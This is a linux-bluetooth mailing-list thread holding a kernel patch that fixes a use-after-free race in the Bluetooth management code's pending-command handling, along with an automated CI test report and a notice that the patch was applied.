Zihan Xi (1):
  Bluetooth: mgmt: fix pending command UAF in EIR updates

 net/bluetooth/mgmt.c | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH 1/1] Bluetooth: mgmt: fix pending command UAF in EIR updates
  2026-07-23 16:43 [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates Ren Wei
@ 2026-07-23 16:43 ` Ren Wei
  2026-07-23 17:15   ` Bluetooth: " bluez.test.bot
  2026-07-24 19:00 ` [PATCH 0/1] " patchwork-bot+bluetooth
  1 sibling, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-07-23 16:43 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: marcel, luiz.dentz, dmantipov, vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

MGMT_OP_SET_LOCAL_NAME is handled asynchronously on powered controllers
and can run set_name_sync().  When the controller is BR/EDR capable,
set_name_sync() updates the local name and then rebuilds EIR data through
eir_create().  The EIR builder walks hdev->uuids, but the UUID list can
be changed and entries can be freed by MGMT_OP_ADD_UUID and
MGMT_OP_REMOVE_UUID.

pending_eir_or_class() is meant to serialize management commands that
can change EIR or the class of device, but it did not include
MGMT_OP_SET_LOCAL_NAME.  In addition, it walked hdev->mgmt_pending
without hdev->mgmt_pending_lock even though pending commands are added
and removed under that mutex.  A racing command completion can therefore
remove and free a pending command while pending_eir_or_class() is still
inspecting it, leading to a use-after-free in the pending-command list or
allowing a local name update to rebuild EIR while UUID entries are being
removed.

Take hdev->mgmt_pending_lock while scanning hdev->mgmt_pending and treat
MGMT_OP_SET_LOCAL_NAME as an EIR/class-affecting pending command on the
powered asynchronous path.  Check for a conflicting pending command before
copying the new short name so a rejected SET_LOCAL_NAME request does not
modify hdev->short_name.

Fixes: 6fe26f694c82 ("Bluetooth: MGMT: Protect mgmt_pending list with its own lock")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/bluetooth/mgmt.c | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/net/bluetooth/mgmt.c b/net/bluetooth/mgmt.c
index 1db10e0f617f..60d5d838ccb9 100644
--- a/net/bluetooth/mgmt.c
+++ b/net/bluetooth/mgmt.c
@@ -2696,18 +2696,28 @@ static int mgmt_hci_cmd_sync(struct sock *sk, struct hci_dev *hdev,
 static bool pending_eir_or_class(struct hci_dev *hdev)
 {
 	struct mgmt_pending_cmd *cmd;
+	bool pending = false;
+
+	mutex_lock(&hdev->mgmt_pending_lock);
 
 	list_for_each_entry(cmd, &hdev->mgmt_pending, list) {
 		switch (cmd->opcode) {
 		case MGMT_OP_ADD_UUID:
 		case MGMT_OP_REMOVE_UUID:
 		case MGMT_OP_SET_DEV_CLASS:
+		case MGMT_OP_SET_LOCAL_NAME:
 		case MGMT_OP_SET_POWERED:
-			return true;
+			pending = true;
+			break;
 		}
+
+		if (pending)
+			break;
 	}
 
-	return false;
+	mutex_unlock(&hdev->mgmt_pending_lock);
+
+	return pending;
 }
 
 static const u8 bluetooth_base_uuid[] = {
@@ -4043,6 +4053,12 @@ static int set_local_name(struct sock *sk, struct hci_dev *hdev, void *data,
 		goto failed;
 	}
 
+	if (hdev_is_powered(hdev) && pending_eir_or_class(hdev)) {
+		err = mgmt_cmd_status(sk, hdev->id, MGMT_OP_SET_LOCAL_NAME,
+				      MGMT_STATUS_BUSY);
+		goto failed;
+	}
+
 	memcpy(hdev->short_name, cp->short_name, sizeof(hdev->short_name));
 
 	if (!hdev_is_powered(hdev)) {
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 4+ messages in thread

* RE: Bluetooth: fix pending command UAF in EIR updates
  2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
@ 2026-07-23 17:15   ` bluez.test.bot
  0 siblings, 0 replies; 4+ messages in thread
From: bluez.test.bot @ 2026-07-23 17:15 UTC (permalink / raw)
  To: linux-bluetooth, enjou1224z

[-- Attachment #1: Type: text/plain, Size: 2673 bytes --]

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1133392

---Test result---

Test Summary:
CheckPatch                    FAIL      0.75 seconds
VerifyFixes                   PASS      0.13 seconds
VerifySignedoff               PASS      0.13 seconds
GitLint                       PASS      0.33 seconds
SubjectPrefix                 PASS      0.13 seconds
BuildKernel                   PASS      27.53 seconds
CheckAllWarning               PASS      29.79 seconds
CheckSparse                   PASS      28.40 seconds
BuildKernel32                 PASS      26.52 seconds
CheckKernelLLVM               SKIP      0.00 seconds
TestRunnerSetup               PASS      505.05 seconds
TestRunner_mgmt-tester        FAIL      219.39 seconds
TestRunner_mesh-tester        FAIL      25.93 seconds
IncrementalBuild              PASS      25.68 seconds

Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[1/1] Bluetooth: mgmt: fix pending command UAF in EIR updates
WARNING: Reported-by: should be immediately followed by Closes: with a URL to the report
#131: 
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4

total: 0 errors, 1 warnings, 0 checks, 42 lines checked

NOTE: For some of the reported defects, checkpatch may be able to
      mechanically convert to the typical style using --fix or --fix-inplace.

/github/workspace/src/patch/14706753.patch has style problems, please review.

NOTE: Ignored message types: UNKNOWN_COMMIT_ID

NOTE: If any of the errors are false positives, please report
      them to the maintainer, see CHECKPATCH in MAINTAINERS.


##############################
Test: CheckKernelLLVM - SKIP
Desc: Build kernel with LLVM + context analysis
Output:
Clang not found
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4

Failed Test Cases
Read Exp Feature - Success                           Failed       0.246 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0

Failed Test Cases
Mesh - Send cancel - 1                               Timed out    2.022 seconds
Mesh - Send cancel - 2                               Timed out    1.987 seconds


https://github.com/bluez/bluetooth-next/pull/484

---
Regards,
Linux Bluetooth


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates
  2026-07-23 16:43 [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates Ren Wei
  2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
@ 2026-07-24 19:00 ` patchwork-bot+bluetooth
  1 sibling, 0 replies; 4+ messages in thread
From: patchwork-bot+bluetooth @ 2026-07-24 19:00 UTC (permalink / raw)
  To: Ren Wei; +Cc: linux-bluetooth, marcel, luiz.dentz, dmantipov, vega, zihanx

Hello:

This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Fri, 24 Jul 2026 00:43:45 +0800 you wrote:
> From: Zihan Xi <zihanx@nebusec.ai>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated a bug in net/bluetooth/mgmt.c. The bug is
> reachable by a root process via the Bluetooth management control socket
> and a virtual HCI controller created through /dev/vhci. We've tested the
> fix with the reproducer, and it should not affect other management
> commands.
> 
> [...]

Here is the summary with links:
  - [1/1] Bluetooth: mgmt: fix pending command UAF in EIR updates
    https://git.kernel.org/bluetooth/bluetooth-next/c/c22eb0db0c62

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-07-24 19:01 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 16:43 [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates Ren Wei
2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
2026-07-23 17:15   ` Bluetooth: " bluez.test.bot
2026-07-24 19:00 ` [PATCH 0/1] " patchwork-bot+bluetooth

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox